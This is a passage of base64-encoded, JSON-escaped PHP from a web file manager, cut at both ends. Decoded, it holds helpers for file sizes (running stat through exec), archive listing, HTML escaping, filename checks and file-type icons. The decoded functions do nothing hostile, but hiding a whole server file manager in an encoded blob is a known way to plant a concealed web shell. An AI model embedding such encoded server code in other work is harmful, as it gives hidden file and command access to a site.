mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1